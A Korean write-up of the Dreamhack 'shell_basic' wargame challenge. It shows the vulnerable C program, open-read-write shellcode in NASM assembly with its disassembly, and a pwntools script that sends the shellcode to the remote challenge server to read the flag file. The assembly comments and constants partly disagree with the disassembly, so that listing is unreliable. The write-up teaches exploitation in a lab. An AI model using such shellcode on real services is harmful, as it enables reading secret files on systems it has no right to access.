입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
https://dreamhack.io/wargame/challenges/410
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
이 코드는 Seccomp를 사용하여 execve와 execveat 시스템 호출을 허용하지 않고, 사용자로부터 입력받은 shellcode를 실행하는 프로그램이다.
section .text
global _start
_start:
; 파일 경로를 스택에 푸시
push 0x00
push 0x6F6F6F6F6F6F6F6F ; "oooooong"
push 0x695F73615F656D61 ; "ame_is_l"
push 0x6C662F636E5F616C ; "c/flag_n"
push 0x625f6C6C65697361 ; "ell_basi"
push 0x6D6F682F68732F65 ; "/home/sh"
; 파일 열기
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
; 열린 파일의 파일 디스크립터를 rdi에 복사
mov rdi, rax
; 파일에서 데이터 읽기
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0
syscall
; 데이터 표준 출력
mov rdi, 1
mov rax, 1
syscall
; 프로그램 종료
xor rdi, rdi
mov rax, 60
syscall
먼저 flag의 경로 /home/shell_basic/flag_name_is_loooooong를 stack에 넣은 후, 해당 파일을 열고 데이터를 읽어와 표준 출력에 출력하는 코드이다
x86_64 아키텍처에서 문자열은 null 종료 문자('\0')로 끝나야 하며, 스택에서 문자열을 사용하는 경우 이 null 종료 문자가 문자열의 끝에 와야 하기 때문에 제일 먼저 push 0x00 했다
sudo apt-get install nasm
nasm -f elf64 orw.asm #orw.o 파일 생성
objdump -d orw.o
Disassembly of section .text:
0000000000000000 <_start>:
0: 6a 00 pushq $0x0
2: 48 b8 6f 6f 6f 6f 6f movabs $0x676e6f6f6f6f6f6f,%rax
9: 6f 6e 67
c: 50 push %rax
d: 48 b8 61 6d 65 5f 69 movabs $0x6c5f73695f656d61,%rax
14: 73 5f 6c
17: 50 push %rax
18: 48 b8 63 2f 66 6c 61 movabs $0x6e5f67616c662f63,%rax
1f: 67 5f 6e
22: 50 push %rax
23: 48 b8 65 6c 6c 5f 62 movabs $0x697361625f6c6c65,%rax
2a: 61 73 69
2d: 50 push %rax
2e: 48 b8 2f 68 6f 6d 65 movabs $0x68732f656d6f682f,%rax
35: 2f 73 68
38: 50 push %rax
39: 48 89 e7 mov %rsp,%rdi
3c: 48 31 f6 xor %rsi,%rsi
3f: 48 31 d2 xor %rdx,%rdx
42: b8 02 00 00 00 mov $0x2,%eax
47: 0f 05 syscall
49: 48 89 c7 mov %rax,%rdi
4c: 48 89 e6 mov %rsp,%rsi
4f: 48 83 ee 30 sub $0x30,%rsi
53: ba 30 00 00 00 mov $0x30,%edx
58: b8 00 00 00 00 mov $0x0,%eax
5d: 0f 05 syscall
5f: bf 01 00 00 00 mov $0x1,%edi
64: b8 01 00 00 00 mov $0x1,%eax
69: 0f 05 syscall
6b: 48 31 ff xor %rdi,%rdi
6e: b8 3c 00 00 00 mov $0x3c,%eax
73: 0f 05 syscall
이렇게 쉘코드를 추출하고 답 제출을 했는데

잘안됬다
그래서 파이썬을 이용했다.
from pwn import *
r = remote("host3.dreamhack.games", 23964)
context.log_level = 'debug'
context.arch = 'amd64'
shellcode = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
r.sendlineafter("shellcode: ", shellcode)
print(r.recv())
